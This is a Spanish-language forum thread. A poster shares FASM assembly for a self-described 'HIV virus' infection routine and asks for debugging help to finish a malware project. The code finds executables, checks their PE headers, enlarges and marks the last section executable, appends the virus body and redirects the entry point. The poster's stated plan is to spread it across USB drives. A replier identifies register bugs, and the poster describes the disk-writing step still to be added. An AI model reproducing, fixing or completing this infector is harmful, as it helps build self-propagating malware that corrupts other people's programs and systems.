Hola, sé que ya he publicado otro post anterior, pero he decidido abrir uno nuevo en donde pueda explicar mejor mi problema. Antes que nada, el codigo está escrito en FASM, para que lo puedan compilar. El problema está en la rutina infect_file. Cuando llega al punto de modificar el PE Header en memoria, falla.
Lo he comentado en ingles, porque pienso que es mejor. No sé si será algun impedimento para que me puedan ayudar. Por favor, es lo unico que me falta para terminar mi proyecto de malware. Gracias por sus respuestas
;This is a stub of the HIV virus.
;It works properly. This is only the infection routines.
;The idea is make the infection module here, and after glue it with
;the payload and another modules.
;The infection module must explore all USB removable drives
;and search in them for executables to infect.
format pe console 4.0
include 'C:\fasm\INCLUDE\WIN32AX.INC'
virus_size_before_compilation equ (end_of_file-main)
GENERIC_READWRITE equ 0C0000000h
; Declare a macro to make buffers
macro dup label,lcount
{ forward
label#:
common
repeat lcount
forward
db 0
common
end repeat }
section '.text' readable writable executable
main:
call delta
delta:
pop ebp
sub ebp, delta
adjust_datasegment:
;push cs
;pop ds
;push cs
;pop es
explore_directory:
;Push parameters for the function
push FIND_STRUCT ;Put in the stack the address of FIND_STRUCT
push file_extension ;File extension
call [FindFirstFileA] ; find the first *.fly
;Always, remember that the API address can be founded using
;brackets in the API name, like this [FindFirstFile]
;invoke FindFirstFile,file_extension, FIND_STRUCT
mov dword [find_handle], eax ;Save find handler returned by FindFirstFile
find_more_files:
cmp eax, 0
je exit
call infect_file
findnextfile:
push FIND_STRUCT
push dword[find_handle] ;I believe that the FindNextFile function expects
;the address of the find_handle, instead its value.
call [FindNextFile]
;invoke FindNextFile, dword [find_handle], FIND_STRUCT
jmp find_more_files
infect_file:
;-----------------------------------------------------------------------
;When you work with files, You must be sure that the file was
;successfully opened. If you use an incorrect or invalid mode opening,
;you'll see that you can not retrieve data from the file. To see if
;you've really recovered bytes from the file, type in the file a text
;string and show it using MessageBox API.
;------------------------------------------------------------------------
;invoke CreateFile, cFileName, 4, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
;invoke WriteFile, eax, sign, 22, byteswritten, 0
;invoke CloseHandle, eax
;I use the 4 for the open mode because it means "Read/Write".
;I open the file and Get its filesize for later use.
;The handle was stored in eax by the API
invoke CreateFile, cFileName, GENERIC_READ, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
mov [file_handle], eax
;I get the filesize of the host, and move it to a variable.
;This data could be interesting in a near future
invoke GetFileSize, [file_handle], 0
mov [host_size], eax
;Calculates the possible new size of the executable
;add eax, virus_size
;mov [infected_size], eax
;Read 8000 bytes from the file
invoke ReadFile, [file_handle], buffer, 8000, bytesread, 0 ; Now read the full file
;Debugging purpouses.
invoke MessageBox, NULL, addr msg, addr msg_caption, MB_OK ; Easy way of outputing the text
invoke MessageBox, NULL, addr cFileName, addr msg_caption, MB_OK
;You must verify that the API has successfully opened and read bytes from the file
invoke MessageBox, NULL, addr buffer, addr msg_caption, MB_OK
lea edx, [buffer] ;Load in edx the address of buffer
;I use the edx register as a pointer to the buffer.
;Now I am in the DOS header.
cmp word [edx], "MZ" ;Check if the file is a real executable
jnz bad_executable
add edx, [edx+60] ;This instruction modify the pointer.
;Now the edx register points to a position
;60 bytes (3C in hex) after the begin of buffer
;Now I am in the PE Header
cmp word [edx], "PE" ;I check if the executable has a valid PE header
;This is very useful to know if I am infecting
;an old DOS program instead a Win32 executable.
jnz bad_executable
call good_executable
;After this point, the program crashes in somewhere of the code
mov esi, edx ; esi = peheader
add esi, 120 ; esi = dirheader
mov eax, [edx+116] ; eax = number of dir entries
shl eax, 3 ; eax = eax*8
add esi, eax ; esi = first section header
movzx eax, word [edx+6] ; eax = number of sections
dec eax ; eax = eax-1
imul eax,eax,40
add esi, eax ; esi = ptr to last section header
or byte [esi+39], 0F0h ; give section necessary rights
mov ecx, virus_size ; ecx = size of virus
mov ebx, [esi+16] ; ebx = physical size of section
add [esi+16], ecx ; increase section physical size
add [esi+8], ecx ; increase section virtual size
push dword [esi+8] ; push section virtual size
pop dword [edx+80] ; imagesize = section virtual size
mov eax, [esi+12] ; eax = section rva
add [edx+80], eax ; add it to the imagesize
add edi, [esi+20] ; edi = section offset
add edi, ebx ; edi = end of section
add eax, ebx ; eax = rva of virus
xchg [edx+40], eax ; swap it with old entrypoint
add eax, [edx+52] ; add imagebase to it
mov [ebp+OldEip], eax ; save it
lea esi, [ebp+main] ; esi = virus start
rep movsb ; edi = ptr to end of file
clc ; indicate sucess
invoke MessageBox, NULL, addr end_message, addr msg_caption, MB_OK
ret
good_executable:
invoke MessageBox, NULL, addr msg_found, addr msg_caption, MB_OK
ret
bad_executable:
invoke MessageBox, NULL, addr msg_not_found, addr msg_caption, MB_OK
ret
exit:
invoke ExitProcess, 0
;----------------------------------------------------------------------
; In this place you can find all variables and constants used
;by the HIV virus. Please, always try to put the needed variables here
;-----------------------------------------------------------------------
datazone:
;This buffer will store parts of the whole file.
buffer rb 8000
;Strings zone...
end_message db 'The file was sucessfully infected...', 0
msg_found db 'I have found a Real EXE!!!...', 0
msg_not_found db 'The current exe file is invalid...', 0
file_signal db 'X'
end_msg db 'End of program', 0
msg db 'File founded', 0
msg_caption db 'Assembly program...', 0
sign db 'Sorry, You have HIV...', 0
byteswritten dd ?
bytesread dd ?
;Variables needed by the infection function
file_handle dd ?
host_size dd ?
map_handle dd ?
infected_size dd ?
virus_size dd virus_size_before_compilation
OldEip dd ?
;Variables used by the FindFirstFile and FindNextFile
file_extension db '*.fly', 0
find_handle dd 0 ; handles/other stuff..
FIND_STRUCT: ; find structure used with searching
dwFileAttributes dd 0
ftCreationTime dd 0,0
ftLastAccessTime dd 0,0
ftLastWriteTime dd 0,0
nFileSizeHigh dd 0
nFileSizeLow dd 0
dwReserved0 dd 0
dwReserved1 dd 0
dup cFileName, 256 ; found file buffer
dup cAlternate, 14
end_of_file:
.end main
Pero esto no lo depuraste en lo mas minimo. EDX es 0 ahi ... y es por llamar a MessageBox, EDX es un registro volatil.
Y esta es la primera referencia a EDI en todo el programa:
add edi, [esi+20] ; edi = section offset
Nadie sabe que valor tenia EDI hasta ese momento.
En fin, abri el WinDbg y depuralo linea por linea.
PD. Asumo que comprendes que ese codigo no modificara mas que un buffer en memoria.
Ah, no sabía que EDI era indeterminado, y también desconocía que EDX es modificado por MessageBox. Gracias por decirme cuales eran los errores de mi codigo, Eternal Idol.
Yo ya sabía que solo modificaba un buffer en memoria, lo que pasa es que luego volcaré el contenido del buffer al disco, sobreescribiendo los datos viejos y de esa forma actualizar el PE header y demas cabeceras. Solo que aun no implementado la funcion de escritura que haga ese trabajo.
Gracias por tu ayuda, Eternal Idol. Tendré que leerme un buen manual de depuracion con OllyDbg, porque al parecer cometo unos cuantos errores de novato...XD. Bueno, supongo que si algo ocurre puedo volver aquí, ¿o no?
Perdón por las molestias causadas.
Cita de: harry_the_blogger en 23 Agosto 2014, 00:11 AM
Ah, no sabía que EDI era indeterminado, y también desconocía que EDX es modificado por MessageBox. Gracias por decirme cuales eran los errores de mi codigo, Eternal Idol.
No es algo que haya que saber, es simplemente pura logica. Lo segundo es parte de la convencion de llamada stdcall:
Registers EAX, ECX, and EDX are designated for use within the function.
http://en.wikipedia.org/wiki/X86_calling_conventions#stdcall
Cita de: harry_the_blogger en 23 Agosto 2014, 00:11 AMGracias por tu ayuda, Eternal Idol. Tendré que leerme un buen manual de depuracion con OllyDbg, porque al parecer cometo unos cuantos errores de novato...XD.
Te recomiendo que consigas un libro sobre ensamblador mejor.